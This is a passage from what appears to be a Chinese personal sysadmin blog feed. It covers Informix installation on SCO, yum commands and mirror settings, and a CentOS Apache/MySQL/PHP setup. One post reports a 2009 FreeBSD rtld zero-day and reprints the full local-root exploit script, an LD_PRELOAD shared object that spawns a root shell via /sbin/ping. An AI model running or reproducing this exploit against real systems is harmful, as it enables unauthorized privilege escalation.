    2.  scoadmin -> account manager -> group -> add new group
        加入 informix 组</p>
<p>   scoadmin -> account manager -> user -> add    new     [...]]]></description>
			<content:encoded><![CDATA[<p>informix for sco 系统安装<br />
1.  建立informix 用户组及用户。 </p>
<p>    1.<br />
    2.  scoadmin -> account manager -> group -> add new group<br />
        加入 informix 组</p>
<p>   scoadmin -> account manager -> user -> add    new        加入  用户，注 意 home directory 应该是你希望安装 informix 的地方，<br />
        使用 /usr/informix .<br />
        Login group 改为 informix , membership 中加入 informix 组</p>
<p>    当然以上步骤可以用命令行的方式 实现，在此就不在重复</p>
<p>    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
    *NOTE:*  一定要先建 informix 组，再建 informix 用户，其中道理不言而喻。<br />
     &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;                                                        核心参数</p>
<p>    1.  Login in as root<br />
    2.  scoadmin -> hardware manager/kernel -> parameters<br />
        修改以下参数<br />
        SHMMAX        134217728<br />
        SHMMIN        1<br />
        SEMMSL                150<br />
        MAXUP                2048</p>
<p>        然后 relink kernel, 重新启动。<br />
    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
    *NOTE:*  一般的值，必须根据实际调整，根据他人介绍 可以参照<br />
    /etc/conf/cf.d/mtune 中各项的最大值修改，也可添加到与mtune<br />
    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>3.  修改 informix 用户的 .profile 文件</p>
<p>    1.  Login in as informix<br />
    2.  vi .profile<br />
        加入如下环境变量<br />
        INFORMIXDIR=/usr/informix            # informix 用户的绝对路径<br />
        ONCONFIG=onconfig                      # informix 数据库配置文件名称<br />
        INFORMIXSERVER=online                # informix 数据库server的名称<br />
                                                              # 在 onconfig 文件中也有定义，需要使用相同名称<br />
        LD_LIBRARY_PATH=$INFORMIXDIR/lib:$INFORMIXDIR/lib/esql<br />
                                                              # esql 编译 .ec 需要使用的 Lib 库文件目录<br />
        PATH 中计入 /usr/informix/bin           # informix 命令所在路径 </p>
<p>        最后，export 以上各项。<br />
<span id="more-1381"></span><br />
    For example:<br />
    我安装的服务器配置为<br />
    INFORMIXDIR=/usr/informix<br />
    INFORMIXSERVER=online<br />
    TERMCAP=$INFORMIXDIR/etc/termcap<br />
    ONCONFIG=onconfig<br />
    PATH=$INFORMIXDIR/bin:$PATH<br />
    LD_LIBRARY_PATH=$INFORMIXDIR/lib:$INFORMIXDIR/lib/esql:$LD_LIBRARY_PATH<br />
    export INFORMIXDIR INFORMIXSERVER ONCONFIG TERMCAP PATH LD_LIBRARY_PATH </p>
<p>     &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
    *NOTE:*  一般的值，必须根据实际调整，根据他人介绍 可以参照<br />
    /etc/conf/cf.d/mtune 中各项的最大值修改，也可添加到与mtune<br />
    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>4.  安装 informix 系统应用程序 </p>
<p>    1.  Login in as informix,<br />
        确认 .profile 的环境变量已经导入，可以通过 &#8220;env | more&#8221; 方式查看。</p>
<p>    2.  如果安装文件为 *.cpi 方式，假设文件存放在 /tmp/file.cpi, 在 informix 用户目录下执行<br />
        $ cpio -iBdumcv -I /tmp/file.cpi        # 也可以通过 &#8220;cpio -iBdumcv < /tmp/file.cpi" 执行<br />
        $  ./installserver                              # 安装应用程序<br />
                                                             # 输入序列号 AA#****** ,  KEY ***** (注意大小写)</p>
<p>5.  准备数据库存储空间(下面描述均已建立chunk 名为 rootdbs）</p>
<p>    5.1 文件方式</p>
<p>        1.  Login in as informix</p>
<p>        2.  文件型数据库存储位置 ( 我习惯使用 /usr/informix/dbs 目录 )<br />
            $ cat /dev/null > rootdbs                     # rootdbs 使用，这个是必须的，但是名字可以随便<br />
               以下的 ***dbs 都是可选的，但是 phydbs(物理日志)、logdbs(逻辑日志)、tmpdbs(临时表)、idxdbs(索引) 等都<br />
               独立出来可以提升系统的性能<br />
            $ cat /dev/null > datadbs<br />
            &#8230;&#8230;<br />
            $ chmod 660 rootdbs<br />
            $ chown informix:informix rootdbs</p>
<p>            *NOTE:* ***dbs就是文件，怎么生成都可以， > rootdbs,  vi 、touch 都可以</p>
<p>    5.2 裸设备方式<br />
         裸设备的效能更好一些，但是相对于设置就比较的麻烦了。</p>
<p>         1. Login in as root</p>
<p>         2. 建立裸设备</p>
<p>            # divvy -m /dev/hd0a<br />
            hd0a 为第一块硬盘第一个分区， hd1 代表第二块硬盘，如果是 sas 等串口硬盘，估计是 rhd0 等等了(可能不对)</p>
<p>                        +&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;&#8211;+&#8212;+&#8212;&#8212;&#8212;&#8212;-+&#8212;&#8212;&#8212;&#8212;+<br />
                        | Name              | Type       | New FS | # | First Block | Last Block |<br />
                        +&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;&#8211;+&#8212;+&#8212;&#8212;&#8212;&#8212;-+&#8212;&#8212;&#8212;&#8212;+<br />
                        | boot              | EAFS       |  no    | 0 |            0|       30719|<br />
                        | swap              | NON FS     |  no    | 1 |        30720|      816127|<br />
                        | root              | HTFS       |  no    | 2 |       816128|     8329691|<br />
                        |                   | NOT USED   |  no    | 3 |            -|           -|<br />
                        |                   | NOT USED   |  no    | 4 |            -|           -|<br />
                        |                   | NOT USED   |  no    | 5 |            -|           -|<br />
                        | recover           | NON FS     |  no    | 6 |      8329692|     8329701|<br />
                        | hd0a              | WHOLE DISK |  no    | 7 |            0|     8377865|<br />
                        +&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;&#8211;+&#8212;+&#8212;&#8212;&#8212;&#8212;-+&#8212;&#8212;&#8212;&#8212;+<br />
                        8329702 1K blocks for divisions, 48163 1K blocks reserved for the system</p>
<p>                         n[ame]       Name or rename a division.<br />
                         c[reate]     Create a new file system on this division.<br />
                         d[elete]     Delete a file system on this division.<br />
                         t[ype]       Select or change filesystem type on new filesystems.<br />
                         p[revent]    Prevent a new file system from being created on this division.<br />
                         s[tart]      Start a division on a different block.<br />
                         e[nd]        End a division on a different block.<br />
                         r[estore]    Restore the original division table.</p>
<p>                        Enter your choice or q to quit:</p>
<p>            Type 选择 non fs, Name 填写 rootdbs, </p>
<p>                    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
            *NOTE:* divvy 内的 Block 大小为 1K, 据说 chunk(或者说是dbs)的大小不能超过<br />
             2G, 建议每一个都设置为 2000000, 也就是 End &#8211; Start + 1 = 2000000。<br />
             Informix 9.4 的版本支持 Big chunk了，通过 &#8216;onmode -BC 1&#8242; or &#8216;onmode -BC 2&#8242; 使用新的页空间<br />
                      &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>            按照上述分割好裸设备后，在 /dev 目录下面会自动生成chunk名为 Name 的设备名，比如我分割裸设备为 rootdbs<br />
            /dev 目录下面会有 /dev/rootdbs 文件。</p>
<p>            # chmod 660 rootdbs<br />
            # chown informix:informix rootdbs<br />
            # su &#8211; informix<br />
            $ mkdir dbs                 # 数据库连接文件放此目录<br />
            $ cd dbs<br />
            $ ln -s /dev/rootdbs rootdbs</p>
<p>                     &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
           *NOTE:* 关于这里,必须说两句,大家应该养成良好的习惯,就是chunk的路径用链接.<br />
                   &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>6.  编辑各种配置文件 </p>
<p>    6.1 编辑 onconfig 文件</p>
<p>        Login in as informix</p>
<p>        $ cp onconfig.std onconfig</p>
<p>        *NOTE:* 这里的 onconfig 名称需要和 .profile 内的 ONCONFIG=onconfig 设置保持一致.</p>
<p>        $ vi onconfig<br />
        修改如下参数<br />
        ROOTPATH    /usr/informix/dbs/rootdbs<br />
        ROOTSIZE        2000000<br />
        MSGPATH     /usr/informix/online.log<br />
        TAPEDEV     /dev/null<br />
        LTAPEDEV    /dev/null<br />
        DBSERVERNAME    online</p>
<p>        *NOTE:* DBSERVERNAME 同.profile中INFORMIXSERVER名字，和sqlhosts 第三个字段保持一致，<br />
        这点非常重要.</p>
<p>    6.2 编辑 sqlhosts 文件</p>
<p>        原来一般为<br />
        demo_on        onipcshm        on_hostname     on_servername<br />
        demo_se        seipcpip        se_hostname     sqlexec</p>
<p>        更改为<br />
        demo_on        onipcshm        on_hostname     on_servername<br />
        #demo_se        seipcpip        se_hostname     sqlexec<br />
        online         ontlitcp        hostname        online_service</p>
<p>        &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
        *NOTE:* 这几个字段&#8217;online&#8217;是SERVER名，在onconfig 中&#8217;DBSERVERNAME&#8217;,<br />
        .profile 中&#8217;INFORMIXSERVER&#8217; 是一个名称，ontlitcp 表示通过 tcp/ip 方式,<br />
        &#8216;hostname&#8217; 是在 /etc/hostname 中设置的名称,<br />
        &#8216;online_service&#8217; 是在 /etc/services 中的 tcp/ip 端口名称。<br />
        这里要注意的是这个配置和在linux下的是完全不一样的,linux下的不是ontlitcp.(没玩过Linux上的informix，不清楚是什么)<br />
        &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>    6.2 编辑/etc/services 文件</p>
<p>        在 /etc/services 中加入 online_service  8888/tcp 即可，再次强调 online_service<br />
        这个名称一定要 sqlhosts 的保持一致，数字可选，但是请使用 文件中没有的端口号，<br />
        1-1024是系统端口号，不要大于 65535 (2的16次方)</p>
<p>7.  检查上述设置并初始化</p>
<p>    1.  Login in as informix</p>
<p>    2.  通过字符界面<br />
        $ onmonitor<br />
        Parameters -> Initialize 方式可以初始化。</p>
<p>    3.  命令方式<br />
        $ oninit -ivy<br />
        -i 表示初始化 (这个参数可别用在已经有数据的生产上，那会死人的)<br />
        -v verbose (这个单词不知道怎么解释，反正你能看到启动的各种信息输出，比较直观)<br />
        -y 全部提示问题都回答 y</p>
<p>    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
    *NOTE:* 2,3 可选任意一种, 建议选择命令方式。如果出错了可以查看<br />
    online.log 日志文件看到底什么出错了。<br />
    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>按照上述过程，全部安装完毕！</p>
<p>ONLINE的运行及基本监控  </p>
<p>    1. 启动<br />
       $ oninit<br />
    2. 关闭<br />
       $ onmode -ky<br />
    3. 状态<br />
       $ onstat -<br />
       你可以 &#8216;onstat &#8211;help&#8217; 看一下，仔细研究onstat .</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1381.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FreeBSD爆严重安全漏洞.</title>
		<link>http://www.evanjiang.net.cn/archives/1376.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1376.html#comments</comments>
		<pubDate>Thu, 03 Dec 2009 13:17:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[freebsd unix]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1376</guid>
		<description><![CDATA[<p>以安全著称的FreeBSD系统被著名黑客Kingcope爆了一个零日（0day）漏洞。据Kingcope所说，他长 期致力于挖掘FreeBSD系统的本地提权漏洞，终于有幸在近期发现了这个非常低级的本地提权漏洞；这个漏洞存在于FreeBSD的Run-Time Link-Editor(rtld)程序中，普通用户可以通过该漏洞非常轻易的获得root权限。该漏洞影响非常广泛，包括FreeBSD 7.1至8.0的32及64位系统。 在展示该漏洞威力之前，我们科普一下著名黑客kingcope。从2007年6月至今，他一共公 开了12个安全漏洞（没公开的不知道有多少），其中 FreeBSD和Sun Solaris各两个，微软四个，Oracle、mysql、NcFTPD和nginx各一个，同时他还编写了多个漏洞的攻击代码，例如 Sun Solaris telnetd及近期的IIS FTPd、Debian OpenSSH等。</p>
<p>　　接下来我们在最新的FreeBSD 8.0中重现一下该漏洞的攻击过程，请注意图中的红色部分；我们只要执行名为fbsd8localroot.sh的脚本，就可以轻易的获得root权限。</p>
<p>
相关脚本如下：</p>
<p>#!/bin/sh
echo “FreeBSD local r00t zeroday by Kingcope on November 2009″
cat > env.c  /dev/null 2>&#038;1
#download from baoz.net
cat > program.c ]]></description>
			<content:encoded><![CDATA[<p>以安全著称的FreeBSD系统被著名黑客Kingcope爆了一个零日（0day）漏洞。据Kingcope所说，他长 期致力于挖掘FreeBSD系统的本地提权漏洞，终于有幸在近期发现了这个非常低级的本地提权漏洞；这个漏洞存在于FreeBSD的Run-Time Link-Editor(rtld)程序中，普通用户可以通过该漏洞非常轻易的获得root权限。该漏洞影响非常广泛，包括FreeBSD 7.1至8.0的32及64位系统。 在展示该漏洞威力之前，我们科普一下著名黑客kingcope。从2007年6月至今，他一共公 开了12个安全漏洞（没公开的不知道有多少），其中 FreeBSD和Sun Solaris各两个，微软四个，Oracle、mysql、NcFTPD和nginx各一个，同时他还编写了多个漏洞的攻击代码，例如 Sun Solaris telnetd及近期的IIS FTPd、Debian OpenSSH等。</p>
<p>　　接下来我们在最新的FreeBSD 8.0中重现一下该漏洞的攻击过程，请注意图中的红色部分；我们只要执行名为fbsd8localroot.sh的脚本，就可以轻易的获得root权限。</p>
<p><span id="more-1376"></span><br />
相关脚本如下：</p>
<p>#!/bin/sh<br />
echo “FreeBSD local r00t zeroday by Kingcope on November 2009″<br />
cat > env.c << _EOF<br />
#include <stdio.h><br />
main() {<br />
       extern char **environ;<br />
       environ = (char**)malloc(8096);<br />
       environ[0] = (char*)malloc(1024);<br />
       environ[1] = (char*)malloc(1024);<br />
       strcpy(environ[1], “LD_PRELOAD=/tmp/w00t.so.1.0″);<br />
       execl(”/sbin/ping”, “ping”, 0);<br />
}<br />
_EOF<br />
gcc env.c -o env > /dev/null 2>&#038;1<br />
#download from baoz.net<br />
cat > program.c << _EOF<br />
#include <unistd.h><br />
#include <stdio.h><br />
#include <sys/types.h><br />
#include <stdlib.h><br />
void _init() {<br />
       extern char **environ;<br />
       environ=NULL;<br />
       system(”echo ALEX-ALEX;/bin/sh”);<br />
}<br />
_EOF<br />
gcc -o program.o -c program.c -fPIC ; gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles ; cp w00t.so.1.0 /tmp/w00t.so.1.0 ;./env</p>
<p>FreeBSD尚未就该0day漏洞发布安全公告及官方补丁。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1376.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>linux 中命令yum的用法 (网上找的）</title>
		<link>http://www.evanjiang.net.cn/archives/1315.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1315.html#comments</comments>
		<pubDate>Sat, 10 Oct 2009 06:03:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>
		<category><![CDATA[redhat linux]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1315</guid>
		<description><![CDATA[<p>前几天，为了搭建另外一个CENTOS服务器。好好研究了一下yum的用法，转将一篇从网上找的文章转贴于这里。方便俺日后查询吧。。</p>
<p>这个命令在查找安装盘中的rpm比较快，现在把常用的命令用法列一下，当笔记记录一下
1.列出所有可更新的软件清单
命令：yum check-update
2.安装所有更新软件
命令：yum update
3.仅安装指定的软件
命令：yum install
4.仅更新指定的软件
命令：yum update
5.列出所有可安裝的软件清单
命令：yum list
用YUM安装删除软件
装了系统添加删除软件是常事，yum同样可以胜任这一任务，只要软件是rpm安装的。
安装的命令是，yum install xxx，yum会查询数据库，有无这一软件包，如果有，则检查其依赖冲突关系，如果没有依赖冲突，那么最好，下载安装;如果有，则会给出提示，询问是否要同时安装依赖，或删除冲突的包，你可以自己作出判断。
删除的命令是，yum remove xxx，同安装一样，yum也会查询数据库，给出解决依赖关系的提示。
1.用YUM安装软件包
命令：yum install
2.用YUM删除软件包
命令：yum remove
用YUM查询软件信息
我 们常会碰到这样的情况，想要安装一个软件，只知道它和某方面有关，但又不能确切知道它的名字。这时yum的查询功能就起作用。你可以用 yum search keyword这样的命令来进行搜索，比如我们要则安装一个Instant Messenger，但又不知到底有哪些，这时不妨用 yum search messenger这样的指令进行搜索，yum会搜索所有可用rpm的描述，列出所有描述中和messeger有关的rpm包，于 是我们可能得到gaim，kopete等等，并从中选择。
有时我们还会碰到安装了一个包，但又不知道其用途，我们可以用yum info packagename这个指令来获取信息。
1.使用YUM查找软件包
命令：yum search
2.列出所有可安装的软件包
命令：yum list
3.列出所有可更新的软件包
命令：yum list updates
4.列出所有已安装的软件包
命令：yum list installed
5.列出所有已安装但不在 Yum Repository 內的软件包
命令：yum list extras
6.列出所指定的软件包

命令：yum list
7.使用YUM获取软件包信息
命令：yum info
8.列出所有软件包的信息
命令：yum info
9.列出所有可更新的软件包信息
命令：yum info updates
10.列出所有已安裝的软件包信息
命令：yum info installed
11.列出所有已安裝但不在 Yum Repository 內的软件包信息
命令：yum info extras
12.列出软件包提供哪些文件
命令：yum provides
清除YUM缓存
yum 会把下载的软件包和header存储在cache中，而不会自动删除。如果我们觉得它们占用了磁盘空间，可以使用yum clean指令进行清除，更精确 的用法是yum clean headers清除header，yum clean packages清除下载的rpm包，yum clean [...]]]></description>
			<content:encoded><![CDATA[<p>前几天，为了搭建另外一个CENTOS服务器。好好研究了一下yum的用法，转将一篇从网上找的文章转贴于这里。方便俺日后查询吧。。</p>
<p>这个命令在查找安装盘中的rpm比较快，现在把常用的命令用法列一下，当笔记记录一下<br />
1.列出所有可更新的软件清单<br />
命令：yum check-update<br />
2.安装所有更新软件<br />
命令：yum update<br />
3.仅安装指定的软件<br />
命令：yum install<br />
4.仅更新指定的软件<br />
命令：yum update<br />
5.列出所有可安裝的软件清单<br />
命令：yum list<br />
用YUM安装删除软件<br />
装了系统添加删除软件是常事，yum同样可以胜任这一任务，只要软件是rpm安装的。<br />
安装的命令是，yum install xxx，yum会查询数据库，有无这一软件包，如果有，则检查其依赖冲突关系，如果没有依赖冲突，那么最好，下载安装;如果有，则会给出提示，询问是否要同时安装依赖，或删除冲突的包，你可以自己作出判断。<br />
删除的命令是，yum remove xxx，同安装一样，yum也会查询数据库，给出解决依赖关系的提示。<br />
1.用YUM安装软件包<br />
命令：yum install<br />
2.用YUM删除软件包<br />
命令：yum remove<br />
用YUM查询软件信息<br />
我 们常会碰到这样的情况，想要安装一个软件，只知道它和某方面有关，但又不能确切知道它的名字。这时yum的查询功能就起作用。你可以用 yum search keyword这样的命令来进行搜索，比如我们要则安装一个Instant Messenger，但又不知到底有哪些，这时不妨用 yum search messenger这样的指令进行搜索，yum会搜索所有可用rpm的描述，列出所有描述中和messeger有关的rpm包，于 是我们可能得到gaim，kopete等等，并从中选择。<br />
有时我们还会碰到安装了一个包，但又不知道其用途，我们可以用yum info packagename这个指令来获取信息。<br />
1.使用YUM查找软件包<br />
命令：yum search<br />
2.列出所有可安装的软件包<br />
命令：yum list<br />
3.列出所有可更新的软件包<br />
命令：yum list updates<br />
4.列出所有已安装的软件包<br />
命令：yum list installed<br />
5.列出所有已安装但不在 Yum Repository 內的软件包<br />
命令：yum list extras<br />
6.列出所指定的软件包<br />
<span id="more-1315"></span><br />
命令：yum list<br />
7.使用YUM获取软件包信息<br />
命令：yum info<br />
8.列出所有软件包的信息<br />
命令：yum info<br />
9.列出所有可更新的软件包信息<br />
命令：yum info updates<br />
10.列出所有已安裝的软件包信息<br />
命令：yum info installed<br />
11.列出所有已安裝但不在 Yum Repository 內的软件包信息<br />
命令：yum info extras<br />
12.列出软件包提供哪些文件<br />
命令：yum provides<br />
清除YUM缓存<br />
yum 会把下载的软件包和header存储在cache中，而不会自动删除。如果我们觉得它们占用了磁盘空间，可以使用yum clean指令进行清除，更精确 的用法是yum clean headers清除header，yum clean packages清除下载的rpm包，yum clean all一 股脑儿端<br />
1.清除缓存目录(/var/cache/yum)下的软件包<br />
命令：yum clean packages<br />
2.清除缓存目录(/var/cache/yum)下的 headers<br />
命令：yum clean headers<br />
3.清除缓存目录(/var/cache/yum)下旧的 headers<br />
命令：yum clean oldheaders<br />
4.清除缓存目录(/var/cache/yum)下的软件包及旧的headers<br />
命令：yum clean, yum clean all (= yum clean packages; yum clean oldheaders)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1315.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>mirrors.163.com的yum配置文件(从网上找的）</title>
		<link>http://www.evanjiang.net.cn/archives/1312.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1312.html#comments</comments>
		<pubDate>Fri, 09 Oct 2009 04:22:44 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[redhat linux]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1312</guid>
		<description><![CDATA[<p>从网上找得163. com的yum设置源。。。</p>
<p>如果强制使用5的源（用于升级系统到centos5），如下：
[base]
name=CentOS-5 – Base
baseurl=http://mirrors.163.com/centos/5/os/x86_64/
gpgcheck=1
gpgkey=http://mirror.centos.org/centos/RPM-GPG-KEY-CentOS-5
[updates]
name=CentOS-5 – Updates
baseurl=http://mirrors.163.com/centos/5/updates/x86_64/
gpgcheck=1
gpgkey=http://mirror.centos.org/centos/RPM-GPG-KEY-CentOS-5
＃这里是设置centos4的源
如果根据系统使用源，则如下：
[base]
name=CentOS-$releasever ¨C Base
baseurl=http://mirrors.163.com/centos/$releasever/os/$basearch/
gpgcheck=1
gpgkey=http://mirror.centos.org/centos/RPM-GPG-KEY-CentOS-5
[updates]

name=CentOS-$releasever  Updates
baseurl=http://mirrors.163.com/centos/$releasever/updates/$basearch/
gpgcheck=1
gpgkey=http://mirror.centos.org/centos/RPM-GPG-KEY-CentOS-5
[addons]
name=CentOS-$releasever  Addons
baseurl=http://mirrors.163.com/centos/$releasever/addons/$basearch/
gpgcheck=1
gpgkey=http://mirror.centos.org/centos/RPM-GPG-KEY-CentOS-5
[extras]
name=CentOS-$releasever  Extras
baseurl=http://mirrors.163.com/centos/$releasever/extras/$basearch/
gpgcheck=1
gpgkey=http://mirror.centos.org/centos/RPM-GPG-KEY-CentOS-5
[centosplus]
name=CentOS-$releasever  Plus
baseurl=http://mirrors.163.com/centos/$releasever/centosplus/$basearch/
gpgcheck=1
enabled=0
gpgkey=http://mirror.centos.org/centos/RPM-GPG-KEY-CentOS-5</p>
]]></description>
			<content:encoded><![CDATA[<p>从网上找得163. com的yum设置源。。。</p>
<p>如果强制使用5的源（用于升级系统到centos5），如下：<br />
[base]<br />
name=CentOS-5 – Base<br />
baseurl=http://mirrors.163.com/centos/5/os/x86_64/<br />
gpgcheck=1<br />
gpgkey=http://mirror.centos.org/centos/RPM-GPG-KEY-CentOS-5<br />
[updates]<br />
name=CentOS-5 – Updates<br />
baseurl=http://mirrors.163.com/centos/5/updates/x86_64/<br />
gpgcheck=1<br />
gpgkey=http://mirror.centos.org/centos/RPM-GPG-KEY-CentOS-5<br />
＃这里是设置centos4的源<br />
如果根据系统使用源，则如下：<br />
[base]<br />
name=CentOS-$releasever ¨C Base<br />
baseurl=http://mirrors.163.com/centos/$releasever/os/$basearch/<br />
gpgcheck=1<br />
gpgkey=http://mirror.centos.org/centos/RPM-GPG-KEY-CentOS-5<br />
[updates]<br />
<span id="more-1312"></span><br />
name=CentOS-$releasever  Updates<br />
baseurl=http://mirrors.163.com/centos/$releasever/updates/$basearch/<br />
gpgcheck=1<br />
gpgkey=http://mirror.centos.org/centos/RPM-GPG-KEY-CentOS-5<br />
[addons]<br />
name=CentOS-$releasever  Addons<br />
baseurl=http://mirrors.163.com/centos/$releasever/addons/$basearch/<br />
gpgcheck=1<br />
gpgkey=http://mirror.centos.org/centos/RPM-GPG-KEY-CentOS-5<br />
[extras]<br />
name=CentOS-$releasever  Extras<br />
baseurl=http://mirrors.163.com/centos/$releasever/extras/$basearch/<br />
gpgcheck=1<br />
gpgkey=http://mirror.centos.org/centos/RPM-GPG-KEY-CentOS-5<br />
[centosplus]<br />
name=CentOS-$releasever  Plus<br />
baseurl=http://mirrors.163.com/centos/$releasever/centosplus/$basearch/<br />
gpgcheck=1<br />
enabled=0<br />
gpgkey=http://mirror.centos.org/centos/RPM-GPG-KEY-CentOS-5</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1312.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>centos4.2 下yum 安装apache2 mysql4 php4 笔记</title>
		<link>http://www.evanjiang.net.cn/archives/1310.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1310.html#comments</comments>
		<pubDate>Fri, 09 Oct 2009 04:13:58 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[mysql]]></category>
		<category><![CDATA[redhat linux]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1310</guid>
		<description><![CDATA[<p>由于网站国庆中秋假期出了点问题，是网站服务器管理员人为因素造成的网站不能访问。俺深思之下，决定外迁网站，就跟其它相熟的网友伸请一个免费的VPS主机，空间不大那种。，但空间完全让俺管理，没有其它网站服务的。而且环境还是裸机环境，也就是除了基本系统，以及一个yum外。没有其它网络服务在运行。也就是apache mysql,php环境要自已完全搭建。在搭建apache mysql php环境虽遇到一些波折。但也学习懂得许多，也了解到更多，同时，也精进俺在linux/unix的服务器维护以及以及数据库维护持术。由于俺很久没用linux，以往也少用yum这种软件版本升级安装工具。所以，俺也借此环境搭建，熟悉了yum这种软件版本升级安装工具，以及相关命令。。。。
由于服友的vps 系统是centos 4.2 所以，也只能安装apache2,mysql4,php4 ，可能由yum源的限制，centos 4只能安装apache2,mysql4,php4 ,暂时没有找到可以在centos4.安装apache2,mysql5,php5的源。当然，俺从中也懂得如何修改yum的源。俺之前都说，俺很少用yum。这些也顺便熟悉yum源的设置与相关命令使用。。　
俺在安装apache2,mysql4,php4时，借鉴一些网上的文档，由于网上的文档千篇一律，大同小异，并且都没有什么验证过。致使俺在安装amp环境时，遇到一些疑惑或者问题，但后来都懂过经验来判断解决。。。下面就是俺的安装笔记。跟网上一些文档有些区别，算是俺的修订版吧。。。</p>
<p>
centos  用yum来管理安装Apache+PHP+Mysql的基本安装。
1. 安装Apahce, PHP, Mysql, 以及php连接mysql库组件。
yum -y install httpd php mysql mysql-server php-mysql
Yum  -y install mysql*
2. 配置开机启动服务
/sbin/chkconfig httpd on             [设置apache服务器httpd服务开机启动]
/sbin/chkconfig &#8211;add mysqld         [在服务清单中添加mysql服务]
/sbin/chkconfig mysqld [...]]]></description>
